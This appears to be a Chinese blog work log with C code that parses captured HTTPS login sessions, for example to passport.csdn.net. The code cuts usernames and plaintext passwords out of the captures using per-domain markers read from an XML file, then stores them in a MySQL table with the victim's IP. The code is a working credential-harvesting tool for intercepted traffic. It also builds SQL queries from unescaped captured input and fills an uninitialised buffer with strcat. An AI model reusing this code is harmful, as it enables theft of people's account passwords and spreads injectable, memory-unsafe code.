工作日志2014-06-10(实现C语言解析XML获得查询关键字)

#include "GetInfo.h"

char szdomain[64];

int GetInfoToWrite(char* path, char* domain,Write_t* pwrite);

int SearchForContent(char* FilePath,Write_t *pwrite);

int main()

{

    //ReadFeatureFromXml("163.com");

    char* PATH="/root/Desktop/login/2014-06-27---passport.csdn.net_443---192.168.1.24_62213.http";

    //SearchForContent(PATH);

//    Write_t pwrite;

//    GetInfoToWrite("22","22",&pwrite);

    Write_t pt;

    char* domain= "passport.csdn.net";



    GetInfoToWrite(PATH,domain,&pt);





    return 0;

}





int GetInfoToWrite(char* path, char* domain,Write_t* pwrite)

{

    strncpy(szdomain,domain,sizeof(szdomain)-1);

    szdomain[sizeof(szdomain)-1] = '\0';

    if(OP_SUCCESS == ReadFeatureFromXml(domain))

    {

        printf("Start Process....\n");

     }else

    {

        printf("ReadXML Failed..\n");

        return OP_FAILED;

    }



    if(OP_SUCCESS==SearchForContent(path,pwrite))

    {

        printf("Search and Write Complete..\n");

        free(pF.FIdBegin);

        free(pF.FIdEnd);

        free(pF.FPBegin);

        free(pF.FPEnd);

        mysql_close(conn);

        return OP_SUCCESS;

    }else

    {

        printf("Search and Write Failed..\n");

        free(pF.FIdBegin);

        free(pF.FIdEnd);

        free(pF.FPBegin);

        free(pF.FPEnd);

        return OP_FAILED;

    }



}





int InitMysqlConnect(void)

{

    mysql_init(conn);

    if(!mysql_real_connect(conn, "127.0.0.1", "root", "", "SecDR_F118", 0, NULL, 0))

    {

        printf("connect mysql %d time error \n %s \n", mysql_errno(conn),mysql_error(conn));

        mysql_close(conn);

        sleep(1);

        return OP_FAILED;

    }

    printf("\tInit Mysql Ok !!\n\n");



    return OP_SUCCESS;

};



int UseMysqlStr(char *sqlcmd)

{

    if(strlen(sqlcmd)==0)

    {

        printf("Nothing in sqlcmd !\n");

        return OP_FAILED;

    }



    if (mysql_query(conn, sqlcmd))

    {

        //如果错误,把sql语句记录到日志中去

        printf("-------------------line------------------\n");

        printf("%s",sqlcmd);

        printf("\n-------------------line------------------\n");

        printf("mysql error %s\n", mysql_error(conn));

        if (1062 == mysql_errno(conn))//

        {

             printf("mysql error 1062\n");

            return OP_FAILED;

        }

        mysql_close(conn);

        if (OP_SUCCESS != InitMysqlConnect())

        {

            printf("mysql Init Error in Function \n");

            return OP_FAILED;

        }

        if (mysql_query(conn, sqlcmd))

        {

            printf("Insert or update Data error \n");

            mysql_close(conn);

            if (OP_SUCCESS != InitMysqlConnect())

            {

                printf("mysql Init Error i !!!\n");

                return OP_FAILED;

            }

            return OP_FAILED;

        }



    }

     return OP_SUCCESS;

};















int FindKeyWord(char *sour,Write_t *pwrite)

{

    char username[128];

    char password[128];

    //printf("begin :%s\n",pF.FIdBegin);

    //printf("end :%s\n",pF.FPBegin);

    //printf("buf :%s\n ",sour);

     if( strstr(sour,(char*)(pF.FIdBegin))==NULL

      || strstr(sour,(char*)(pF.FIdEnd))==NULL)

     {

         printf("Can't Matching The Feature Error: Please Check XML Feature....\n");

        return OP_FAILED;

     }

    while(*sour != '\0')

    {



        if( NULL == strstr(sour,(char*)(pF.FIdEnd)) || NULL == strstr(sour,(char*)(pF.FIdBegin))

        || strstr(sour,(char*)(pF.FPBegin))==NULL

        || strstr(sour,(char*)(pF.FPEnd))==NULL)

        {

            break;

        }



        char *p=strstr(sour,(char*)(pF.FIdBegin));

        sour = p+xmlStrlen(pF.FIdBegin);

        char *q=strstr(p,(char*)(pF.FIdEnd));

        sour = q+xmlStrlen(pF.FIdEnd);

        char *p1=p+xmlStrlen((pF.FIdBegin));

        int i=q-p1;



        if(i>100 || i<=0)

        {

            printf("Invalid Length Of Username \n");

            continue;

        }

        username[i] = '\0';

        memcpy(username,p1,i);



        //strcpy(pInfo.username,username);

        url_decode(username,username);

        printf("username=%s \n",username);

        p=strstr(sour,(char*)(pF.FPBegin));

        sour = p+xmlStrlen(pF.FPBegin);

        q=strstr(p,(char*)(pF.FPEnd));

        sour = q+xmlStrlen(pF.FPEnd);

        p1=p+xmlStrlen((pF.FPBegin));

        i=q-p1;

        if(i>100 || i<=0)

        {

            printf("Invalid Length Of Password \n");

            continue;

        }

        password[i] = '\0';

        memcpy(password,p1,i);

        //strcpy(pInfo.password,password);

        url_decode(password,password);

        printf("password=%s \n",password);



        if(pwrite==NULL)

        {

            printf("error : pwrite is NULL");

            return OP_FAILED;

        }







        //select from database .



        char sqlupdate[1024];

        //memset(sqlupdate,0,1024);

         snprintf(sqlupdate, sizeof(sqlupdate)-1, FORMAT_UPDATE_INFORES,username,szdomain);



        char sqlcmd[1024];

        //memset(sqlcmd,0,1024);

         snprintf(sqlcmd, sizeof(sqlcmd)-1, FORMAT_INSERT_INFORES,szdomain,pwrite->szSrcIP, pwrite->szAccount,username,password);



        char sqlselect[1024];

        //memset(sqlselect,0,1024);

         snprintf(sqlselect, sizeof(sqlselect)-1, FORMAT_SELECT_INFORES,username,szdomain);



        int gs=mysql_query(conn,sqlselect);

        if(gs){

            printf("select error:\n");

        }



        int num_rows=0;

        MYSQL_RES* res_ptr = mysql_store_result(conn);

        if(res_ptr != NULL){

            num_rows = mysql_num_rows(res_ptr);

            printf("Well . There exist %lu data .\n",(unsigned long)num_rows);

        }

        else

        {

            return OP_FAILED;

        }



        if(num_rows!=0)

        {

            printf("update..\n");

             if(UseMysqlStr(sqlupdate))

            {

                    printf("update  failed  \n");

                    return OP_FAILED;

            }

         }else

        {

            printf("insert..\n");

            if(UseMysqlStr(sqlcmd))

            {

                    printf("insert  failed  \n");

                    return OP_FAILED;

            }

        }

        // mysql_free_result(res_ptr);



    }





    return OP_SUCCESS;

}





int SearchForContent(char* FilePath,Write_t *pwrite)

{



    printf("FILE PATH: %s \n",FilePath);



    if (OP_SUCCESS != InitMysqlConnect())

    {

        printf("mysql Init Error in Function \n");

        return OP_FAILED;

    }

    char insertRaw[1024] = {0};

    snprintf(insertRaw,sizeof(insertRaw),FORMAT_INSERT_RAW,szdomain,pwrite->szAccount,pwrite->szSrcIP,FilePath);



    if(OP_SUCCESS != UseMysqlStr(insertRaw))

    {

            printf("insert into RawResult  Failed  \n");

            return OP_FAILED;

    }

    FILE *fp =NULL;

    if(NULL == (fp=fopen(FilePath,"rb")))

    {

        fprintf(stderr,"Cannot Open The File ..\n");

        return OP_FAILED;

    }



    fseek(fp,0,SEEK_END);

    int number=ftell(fp);

    fseek(fp,0,SEEK_SET);







    if(number==0)

    {

        printf("Empty File...\n");

        return OP_FAILED;

    }

    char* buf=(char*)malloc(sizeof(char)*number);

    char tmp[1000];

    while(!feof(fp))

    {

        fgets(tmp,1000,fp);

        strcat(buf,tmp);

    }



//     int fr= fread(buf,1,number,fp);

//     printf(" buf : %s\n  fr=%d\n",buf,fr);

//     printf(" buf len :%d \n",strlen(buf));

   // printf("sizeof(char)*number = %d\n",sizeof(char)*number);

   // printf(" rt :%d, number = %d\n",rt, number);



    if(OP_SUCCESS == FindKeyWord(buf,pwrite))

    {

        printf("Process   Success..\n---\n");

        fclose(fp);

        free(buf);

        return OP_SUCCESS;

    }else

    {

        printf("Process   Failed..\n---\n");

        fclose(fp);

        free(buf);

        return OP_FAILED;

    }





}





int ReadFeatureFromXml(char* type)

{

    xmlDocPtr doc = NULL;

    xmlNodePtr cur = NULL;





    xmlKeepBlanksDefault(0);

    doc = xmlParseFile(Xmlpath);



    if(doc == NULL)

    {

        fprintf(stderr,"XML docment not parsed succussfully!..\n");

        return OP_FAILED;

    }



    cur = xmlDocGetRootElement(doc);



    if(cur == NULL)

    {

        fprintf(stderr,"empty document!.\n");

        xmlFreeDoc(doc);

        return OP_FAILED ;

    }

    cur = cur->children;



    //printf("%s \n",cur->name);

    xmlChar* attr=NULL;

//    cur = cur->next;

//    if(!(xmlStrcmp(cur->name,(const xmlChar*)"MailType")))

//    {

//           attr = xmlGetProp(cur,"type");

//           printf("attr = %s \n",attr);

//           xmlFree(attr);

//    }



    while (cur != NULL)

    {

        if(!(xmlStrcmp(cur->name,(const xmlChar*)"MailType")))

        {

            attr = xmlGetProp(cur,(const xmlChar*)"type");



            if(!xmlStrcmp(attr,(const xmlChar*)type))

            {



                xmlChar* tmp = xmlNodeGetContent(cur->children->children);

                pF.FIdBegin =  malloc(xmlStrlen(tmp)+1);

                memset(pF.FIdBegin,0,xmlStrlen(tmp)+1);

                memcpy(pF.FIdBegin,tmp,xmlStrlen(tmp));



                tmp = xmlNodeGetContent(cur->children->children->next);

                pF.FIdEnd = malloc(xmlStrlen(tmp)+1);

                memset(pF.FIdEnd,0,xmlStrlen(tmp)+1);

                memcpy(pF.FIdEnd,tmp,xmlStrlen(tmp));



                tmp = xmlNodeGetContent(cur->children->next->children);

                pF.FPBegin=malloc(xmlStrlen(tmp)+1);

                memset(pF.FPBegin,0,xmlStrlen(tmp)+1);

                memcpy(pF.FPBegin,tmp,xmlStrlen(tmp));



                tmp = xmlNodeGetContent(cur->children->next->children->next);

                pF.FPEnd=malloc(xmlStrlen(tmp)+1);

                memset(pF.FPEnd,0,xmlStrlen(tmp)+1);

                 memcpy(pF.FPEnd,tmp,xmlStrlen(tmp));

            }

        }



        cur = cur->next;

    }

    if(pF.FIdBegin==NULL||pF.FIdEnd==NULL || pF.FPBegin==NULL || pF.FPEnd==NULL)

    {

        printf("XML Feature Parsed Failed: can't find.\n");

        return OP_FAILED;

    }

    return OP_SUCCESS;

}

 xxx.h

#include <libxml/tree.h>

#include <libxml/parser.h>

#include <libxml/xmlmemory.h>

#include <mysql/mysql.h>

#include "KCommon.h"





#define FORMAT_INSERT_INFORES "insert into ssltab_InfoResult(domain ,ipaddr, account, username, password, cap_time) values (\"%s\",\"%s\", \"%s\",\"%s\", \"%s\", now());"

#define FORMAT_SELECT_INFORES "select * from ssltab_InfoResult where username=\"%s\" and domain=\"%s\";"

#define FORMAT_UPDATE_INFORES  "update ssltab_InfoResult set cap_time=now() where username=\"%s\" and domain=\"%s\" ;"

#define FORMAT_INSERT_RAW "insert into ssltab_RawResult(domain,account,src_ip,res_path,cap_time) values (\"%s\",\"%s\",\"%s\",\"%s\",now());"

char Xmlpath[]="/home/SecDR_F118/conf/tmp/info.xml";

int ReadFeatureFromXml(char* type);

//int SearchForContent(char* FilePath,Write_t *pwrite);

//int FindKeyWord(char *sour,Write_t *pwrite);

int UseMysqlStr(char *sqlcmd);







typedef struct tWrite{

    char szAccount[64];

     char szSrcIP[30];

    time_t nTime;

}Write_t;



struct Info{

    char username[100];

    char password[100];

}pInfo;



struct Feature{



    xmlChar* FIdBegin;

    xmlChar* FIdEnd;

    xmlChar* FPBegin;

    xmlChar* FPEnd;

}pF;



static MYSQL conn[1];







/* 16进制字符表 */

static const char c2x_table[] = "0123456789ABCDEF";

 /* 字符转16进制 */

//static unsigned char *c2x(unsigned what,unsigned char *where)

// {

//     *where++ = '%';

//     *where++ = c2x_table[what>>4];

//     *where++ = c2x_table[what&0xf];

//     return where;

// }

 /* 16进制转字符 */

static char x2c(const char *what)

 {

     register char digit;



      digit = ((what[0] >= 'A') ? ((what[0] & 0xdf) - 'A') + 10 : (what[0] - '0'));

      digit *= 16;

      digit += (what[1] >= 'A' ? ((what[1] & 0xdf) - 'A') + 10 : (what[1] - '0'));

     return (digit);

 }



size_t url_decode(const char *src,char *dest)

 {

 char *cp=dest;



 while(*src!='\0')

 {

   if(*src=='+')

   {

    *dest++=' ';

   }

   else if(*src=='%')

   {

    int ch;

     ch=x2c(src+1);

    *dest++=ch;

     src+=2;

   }

   else

   {

    *dest++=*src;

   }

    src++;

 }

 *dest='\0';

return(dest-cp);

}

 

你可能感兴趣的:(解析xml)